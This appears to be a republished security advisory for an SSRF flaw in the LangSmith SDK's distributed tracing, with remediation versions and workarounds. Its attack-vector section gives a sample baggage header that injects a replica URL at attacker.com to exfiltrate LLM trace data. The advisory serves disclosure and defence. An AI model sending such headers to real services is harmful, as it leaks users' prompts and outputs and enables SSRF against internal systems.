Where
-Infinity
0
Severity
5.8
EPSS
0.01%
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary apiurl values through the baggage header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

---

Description

When using distributed tracing, the SDK parses incoming HTTP headers via RunTree.fromheaders() in Python or RunTree.fromHeaders() in Typescript. The baggage header can contain replica configurations including apiurl and apikey fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's post() and patch() methods send run data to all configured replica URLs, including any injected by an attacker.

---

Attack Vector

1. Attacker sends an HTTP request to a vulnerable service with a malicious baggage header: baggage: langsmith-replicas=[{"apiurl":"https://attacker.com/exfil","projectname":"x"}]

2. The service parses the header via RunTree.fromheaders(), storing the attacker's URL

3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to https://attacker.com/exfil

---

Impact

- Data Exfiltration: Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers - SSRF: Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

---

Affected Use Cases

Applications are vulnerable if they: - Use TracingMiddleware to automatically propagate tracing context - Call RunTree.fromheaders() / RunTree.fromHeaders() with untrusted HTTP headers

---

Remediation

Update to the patched versions: - Python: pip install langsmith>=0.6.3 - JavaScript: npm install langsmith@>=0.4.6

The fix filters incoming replica configurations to an allowlist of safe fields, removing apiurl, apikey, and other credential fields.

---

Workarounds

If unable to upgrade immediately: - Strip or validate the baggage header before passing to fromheaders() - Do not use TracingMiddleware with untrusted traffic

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203